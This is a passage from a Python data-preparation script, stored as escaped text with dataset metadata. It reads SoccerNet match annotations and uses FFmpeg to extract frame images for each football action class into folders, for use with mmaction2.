\"mmaction2/data/\"+dataset+\"/extractedFrames\")\r\n\r\n for classe in soccernetClassesJson['classes']:\r\n # Create folders to store trimmed copy videos ordered by action.\r\n tmpPath = osp.join(targetRawframesFolder, classe)\r\n os.makedirs(tmpPath, exist_ok=True)\r\n\r\n for root, dirs, files in os.walk(sourceVideos):\r\n\r\n # Create folders to store trimmed copy videos ordered by match.\r\n # tmpPath = os.path.join(trimmedVideosPath, root[1+len(sourceVideos):])\r\n # os.makedirs(tmpPath, exist_ok=True)\r\n\r\n labelFolder = osp.join(labelsPath, root[1+len(sourceVideos):])\r\n labelPath = osp.join(labelFolder, \"Labels-v2.json\")\r\n# cutAnnotationsPath = osp.join(labelFolder, \"Labels-cameras.json\")\r\n ligueTrigram = root[1+len(sourceVideos):4+len(sourceVideos)]\r\n\r\n if osp.exists(labelPath):\r\n\r\n f = open(labelPath)\r\n annotationsData = json.load(f)\r\n f.close()\r\n videoFolder = osp.join(sourceVideos, annotationsData[\"UrlLocal\"])\r\n folderName = osp.basename(osp.normpath(videoFolder))\r\n dateExtension = folderName[:10] + '_' + folderName[13:18]\r\n firstLettersHostTeam = folderName[19:22]\r\n\r\n for element in annotationsData['annotations']:\r\n\r\n if element[\"visibility\"] == \"not shown\":\r\n continue\r\n classe = getClasse(element)\r\n if classe is not None:\r\n halfTime = element[\"gameTime\"][0]\r\n videoLQPath = osp.join(videoFolder, halfTime + \".mkv\")\r\n if osp.exists(videoLQPath):\r\n start = 60*int(element['gameTime'][4:6]) + int(element['gameTime'][7:9])\r\n if (classe == 'Shot') & findShotAction(annotationsData, halfTime, start):\r\n continue\r\n if ((classe == 'Shot') & (followedByAGoal(annotationsData, halfTime, start))):\r\n newTrimmedPath = osp.join(targetRawframesFolder, classe + \"/\" + classe + '_'\r\n + ligueTrigram + '_' + dateExtension + '_'\r\n + firstLettersHostTeam + '_'\r\n + str(start + 45*60*(int(halfTime)-1))\r\n )\r\n else:\r\n newTrimmedPath = osp.join(targetRawframesFolder, classe + \"/\" + classe + '_'\r\n + ligueTrigram + '_' + dateExtension + '_'\r\n + firstLettersHostTeam + '_'\r\n + str(start + 45*60*(int(halfTime)-1))\r\n )\r\n os.makedirs(newTrimmedPath, exist_ok=True)\r\n newTrimmedPath = osp.join(newTrimmedPath, \"img_%05d\"\r\n + outputExtension)\r\n if osp.exists(newTrimmedPath):\r\n print(newTrimmedPath, \"already exists. Extraction is skipped\")\r\n else:\r\n # start = int(element['gameTime'][4:]) - classesDurationJson[classe][1]\r\n ff = FFmpeg(\r\n inputs={videoLQPath: ['-y', '-ss',\r\n str(start - classesDurationJson[classe][\"anticipation\"])\r\n ]},\r\n outputs={newTrimmedPath: ['-qmin', '1', '-qscale:v', '2',\r\n '-frames:v', str(classesDurationJson[classe][\"duration\"])]}\r\n )\r\n # print(ff.cmd)\r\n # print('start', start)\r\n # print('nextCut', nextCut)\r\n # The usual command line can be found in ff.cmd\r\n ff.run()\r\n\r\n\r\nif __name__ == \"__main__\":\r\n main()\r\n","sub_path":"tools/data/soccernet/trimscript_extract_frames_directly.py","file_name":"trimscript_extract_frames_directly.py","file_ext":"py","file_size_in_byte":6694,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"}